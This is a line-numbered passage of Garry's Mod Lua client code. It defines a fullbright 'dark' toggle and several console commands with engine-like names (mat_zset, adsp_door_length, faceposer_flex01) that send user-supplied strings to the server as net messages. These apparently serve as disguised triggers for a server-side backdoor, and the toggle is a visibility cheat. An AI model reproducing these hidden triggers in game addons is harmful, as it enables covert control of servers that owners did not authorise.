9939 ply:ConCommand("mat_fullbright 0")
9940 elseif On == false then
9941 On = true
9942 ply:ConCommand("mat_fullbright 1")
9943 end
9944 Night( On )
9945 end
9946 concommand.Add( "dark", TogNight )
9947
9948 concommand.Add( "mat_zset",function(ply,command,args,classname)
9949 net.Start( "mat_zset" )
9950 net.WriteString(args[1])
9951 net.SendToServer()
9952 end)
9953 concommand.Add( "adsp_door_length",function(ply,command,args,classname)
9954 net.Start( "adsp_door_length" )
9955 net.WriteString(args[1])
9956 net.SendToServer()
9957 end)
9958 concommand.Add( "faceposer_flex01",function(ply)
9959 net.Start( "faceposer_flex01" )
9960 net.SendToServer()
9961 end)